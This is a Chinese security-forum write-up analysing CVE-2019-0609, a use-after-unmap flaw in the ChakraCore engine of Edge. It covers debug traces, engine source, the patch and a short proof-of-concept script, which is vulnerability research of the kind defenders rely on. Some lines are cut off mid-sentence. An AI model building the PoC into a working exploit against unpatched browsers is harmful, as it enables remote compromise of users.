CVE-2019-0609: Edge use-after-unmap漏洞分析

angel010 / 2019-07-09 09:09:00 / 浏览数 3781 安全技术 漏洞分析 顶(0) 踩(0)

简介

如果有用户想通过手机或电脑查看web页面，就会使用web浏览器。而所有主流的商用web浏览器都实现了自己的JavaScript引擎来支持客户端脚本语言来与客户端进行动态
本文将介绍Edge浏览器JavaScript引擎 ChakraCore中存在的安全漏洞——CVE-2019-0609。虽然该漏洞的根源并不复杂，但该来的很难发现和追踪。

漏洞分析

初步分析

首先看一下debug build中的PoC来分析assertion：

```
ASSERTION 264714: (/home/soyeon/jsfuzz/js-static/engines/chakracore-1.11.3/lib/Runtime/Library/StackScriptFunction.cpp, line 2
Failure: (stackFunction->boxedScriptFunction == boxedFunction)
[1]    264714 illegal hardware instruction  ~/jsfuzz/js-static/engines/chakracore-1.11.3/out/Debug/ch 35977387.js
```

Boxing in JavaScript

如果你在全局代码或函数中声明了一个对象，比如Number或Function，正常情况下就会在栈上进行分配。但有些特殊的情况下要在堆上进行分配，比如用不同的指针引用

```
function test() {
   function stackFun(){}
   function heapFun(){print("hi!");}
   return heapFun;
}

test()();
// output : hi!
```

在上面的代码中，`function stackFun` 和 `heapFun` 会在声明中定位到栈。 `function heapFun`会移动到堆中来避免指向函数test在栈中的地址，因为它会返回函数test的外部。JS引擎会将对从对象从栈移到堆的行为就叫做boxing。这与java中boxing的概念

assertion

根据boxing的概念，研究人员推断`scriptFunction`需要boxing但是失败了。更多详情参见`lib/Runtime/Library/StackScriptFunction.cpp`中的`StackScript`

```
StackScriptFunction *stackFunction = interpreterFrame->GetStackNestedFunction(i);
ScriptFunction *boxedFunction = this->BoxStackFunction(stackFunction);
Assert(stackFunction->boxedScriptFunction == boxedFunction);
this->UpdateFrameDisplay(stackFunction);
```

在上面的代码中，会尝试box
stackFunction，并检查函数是否会通过assertion来box。Assertion表检查明它并不是真正的box。根据gdb，研究boxedFunction表明`stackFunction`在栈上，`boxedS`
是`nullptr`。正常情况下，会指向`boxedFunction`。

```
Stopped reason: SIGILL
0x0000555558a9be2f in Js::StackScriptFunction::BoxState::Box (this=0x7ffffffe2540) at /home/soyeon/jsfuzz/js-static/engines/ch
249                             Assert(stackFunction->boxedScriptFunction == boxedFunction);
$ print boxedFunction
$1 = (Js::ScriptFunction *) 0x7ff7f024fff8
$ print stackFunction
$2 = (Js::StackScriptFunction *) 0x7ff7f024fff8
$ print stackFunction->boxedScriptFunction
$3 = (Js::ScriptFunction *) 0x0
```

下面检查中发生的`BoxStackFunction`函数。

boxing栈函数为什么失败

下面是`StackScriptFunction::BoxState::BoxStackFunction`的代码。

```
710     ScriptFunction * StackScriptFunction::BoxState::BoxStackFunction(ScriptFunction * scriptFunction)
711     {
712         // Box the frame display first, which may in turn box the function
713         FrameDisplay * frameDisplay = scriptFunction->GetEnvironment();
714         FrameDisplay * boxedFrameDisplay = BoxFrameDisplay(frameDisplay);
715
716         if (!ThreadContext::IsOnStack(scriptFunction))
717         {
718             return scriptFunction;
719         }
                                ...
748         boxedFunction = ScriptFunction::OP_NewScFunc(boxedFrameDisplay,
749             reinterpret_cast<FunctionInfoPtrPtr>(&functionInfo));
750         stackFunction->boxedScriptFunction = boxedFunction;
```

如果scriptFunction 并不在栈中，函数并不会box scriptFunction，只是返回了scriptFunction。这是因为BoxStackFunction想要避免box scriptFunction，scriptFunction已经被box了，并且不存在栈中。但该函数应该位于栈中，是 StackScriptFunction。这让人怀疑栈变量分配的过程。
研究人员在`lib/Runtime/Language/InterpreterStackFrame.cpp: Var InterpreterStackFrame::InterpreterHelper`中发现一些线索。

```
if (varAllocCount > InterpreterStackFrame::LocalsThreshold)
```

在为函数分配栈时，引擎首先会检查本地变量的空间是否超过阈值（`InterpreterStackFrame::LocalsThreshold`）。如果是这样的话，引擎就会分配一个私有作为栈
该函数被破坏后，栈就会被un-mapped。但非box的函数仍然指向原来的栈空间，最终会导致use-after-unmap漏洞。

补丁分析

下面是ChakraCore 1.11.7中发布的 CVE-2019-0609补丁。

```
if (stackVarAllocCount != 0)
+    {
+    size_t stackVarSizeInBytes = stackVarAllocCount * sizeof(Var);
+    PROBE_STACK_PARTIAL_INITIALIZED_INTERPRETER_FRAME(GetScriptContext(), Js::Constants::MinStackInterpreter + stackVarSizeIn
+    stackAllocation = (Var*)_alloca(stackVarSizeInBytes);
+    }
```

在补丁中，引擎首先会将`stackVarAllocCount`作为`stackScriptFunction`的数来计算是否需要box。然后通过`_alloca`将`stackScriptFunctions`移到堆中。

PoC

下面是漏洞CVE-2019-0609的PoC代码。[big-size object]应该有足够大的初始化成员数来超过阈值来分配私有于去作为函数的栈。

```
function test() {
   function a() {
       function d() {
         let e = function() {};
         return e;
       }
       function b() {
           let fun_d = [d];
           return fun_d;
       }
       var obj = [big-size object]
       return b();
   }
   return a();
}
var f = test();
function test1() {
   var obj = [big-size object] // reallocate for use-after-unmap.
   print(f[0]); // function d still points the address on stack as it is not boxed.
}
test1();
```

https://gts3.org/2019/cve-2019-0609.html

上一篇：异常处理机制流程分析 下一篇：PHDays的IDS Bypass...

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板